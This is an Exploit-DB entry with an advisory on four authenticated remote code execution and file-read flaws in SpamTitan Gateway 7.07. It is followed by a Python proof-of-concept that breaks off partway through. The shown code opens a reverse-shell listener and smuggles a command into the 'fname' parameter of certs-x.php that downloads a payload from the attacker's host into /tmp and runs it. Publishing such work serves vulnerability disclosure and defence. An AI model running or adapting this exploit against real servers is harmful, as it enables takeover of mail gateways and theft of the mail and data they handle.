Exploit-DB #48817
Description: SpamTitan 7.07 - Remote Code Execution (Authenticated)
Type: webapps
Platform: multiple
Date: 2020-09-18
Author: Felipe Molina

Exploit:
# Exploit Title: SpamTitan 7.07 - Remote Code Execution (Authenticated)
# Date: 2020-09-18
# Exploit Author: Felipe Molina (@felmoltor)
# Vendor Homepage: https://www.titanhq.com/spamtitan/spamtitangateway/
# Software Link: https://www.titanhq.com/signup/?product_type=spamtitangateway
# Version: 7.07
# Tested on: FreeBSD
# CVE : CVE-2020-11699, CVE-2020-11700, CVE-2020-11803, CVE-2020-11804

---[SPUK-2020-09/SpamTitan 7.07 Multiple Authenticated Remote Code
Execution]------------------------------

SECURITY ADVISORY:   SPUK-2020-09/SpamTitan 7.07 Multiple
Authenticated Remote Code Execution
Affected Software:   SpamTitan Gateway 7.07 (possibly earlier versions)
Vulnerability:       Multiple Authenticated Remote Code Execution
CVSSv3:              8.7
(https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N)
Severity:            High
Release Date:        2020-09-18
CVEs:                CVE-2020-11699, CVE-2020-11700, CVE-2020-11803,
CVE-2020-11804


I. Background
~~~~~~~~~~~~~

From www.spamtitan.com:

"SpamTitan Gateway is a powerful Anti-Spam appliance that equips network
administrators with extensive tools to control mail flow and protect against
unwanted email and malware."


II. Description
~~~~~~~~~~~~~~~

Multiple authenticated remote code execution (RCE) vulnerabilities were found
on the SpamTitan Gateway 7.07 and probably in pervious versions:

* CVE-2020-11699: Improper validation of the parameter fname on the page
certs-x.php would allow an attacker to execute remote code on the
target server. The user has to be authenticated before interacting with
this page.
* CVE-2020-11700: Improper sanitization of the parameter fname, used on the page
certs-x.php, would allow an attacker to retrieve the contents of
arbitrary files. The user has to be
authenticated before interacting with this page.
* CVE-2020-11803: Improper sanitization of the parameter jaction when
interacting with
the page mailqueue.php could lead to PHP code evaluation server-side,
because the user-provided input is passed directly to the php eval()
function. The user has to be authenticated on the web platform before
interacting with the page.
* CVE-2020-11804: Due to improper sanitization of the parameter qid,
used in the page
mailqueue.php, code injection can occur. The input for this
parameter is provided directly by an authenticated user via an HTTP GET
request.


III. PoC
~~~~~~~~

Use python 3 and install the following modules before executing: requests.

If your IP is 192.168.1.5 and the target SpamTitan server is
spamtitan.example.com, call the PoC like this:
./multirce.py -t spamtitan.example.com -i 192.168.1.5 -m <EXPLOIT
NUMBER> -u <USER> -p <PASSWORD> -U http://192.168.1.5/rev.py

---------------------------------------------

#!/usr/bin/env python

# Author: Felipe Molina (@felmoltor)
# Date: 09/04/2020
# Python Version: 3.7
# Summary: This is PoC for multiple authenticated RCE and Arbitrary File Read
#          0days on SpamTitan 7.07 and previous versions.
# Product URL: https://www.spamtitan.com/
# Product Version: 7.07 and probably previous

import requests
from requests import Timeout
requests.packages.urllib3.disable_warnings()
import os
import threading
from optparse import OptionParser
import socket
import json
import re
from urllib.parse import urlparse
from time import sleep
from base64 import b64decode,b64encode

def myip():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
        # doesn't even have to be reachable
        s.connect(('10.255.255.255', 1))
        IP = s.getsockname()[0]
    except:
        IP = '127.0.0.1'
    finally:
        s.close()
    return IP

def shellServer(ip,port,quiet):
    servers = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    servers.bind((ip, port))
    servers.listen(1)
    info("Waiting for incoming connection on %s:%s" % (ip,port))
    conn, addr = servers.accept()
    conn.settimeout(1)
    success("Hurray, we got a connection from %s" % addr[0])

    prompt =conn.recv(128)
    prompt=str(prompt.decode("utf-8")).strip()
    command = input(prompt)

    while True:
        try:
            c = "%s\n" % (command)
            if (len(c)>0):
                conn.sendall(c.encode("utf-8"))
                # Quit the console
                if command == 'exit':
                    info("\nClosing connection")
                    conn.close()
                    break
                else:
                    completeanswer=""
                    while True:
                        answer=None
                        try:
                            answer=str((conn.recv(1024)).decode("utf-8"))
                            completeanswer+=answer
                        except socket.timeout:
                            completeanswer.strip()
                            break
                    print(completeanswer,end='')
            command = input("")
        except (KeyboardInterrupt, EOFError):
            info("\nClosing connection")
            break

# This is an authenticated remote code execution in "certs-x.php". E.g:
def CVE_2020_11699(cookies, target, shellurl):
    # Giving time to the maim thread to open the reverse shell listener
    sleep(5)
    oscmd="/usr/local/bin/wget %s -O /tmp/r.py;/usr/local/bin/python
/tmp/r.py" % (shellurl)
    t1 = "%s/certs.php" % target
    t2 = "%s/certs-x.php" % target
    # get the csrf token value
    res1 = requests.get(t1,cookies=cookies,verify=False)
    m = re.search("var csrf_token_postdata
=.*CSRFName=(.*)&CSRFToken=(.*)\";",res1.text)
    if (m is not None):
        csrfguard=m.group(1)
        csrftoken=m.group(2)
        data = {
            "CSRFName":csrfguard,
            "CSRFToken":csrftoken,
            "jaction":"deletecert",
            "fname":"dummy || $(%s)" % oscmd
        }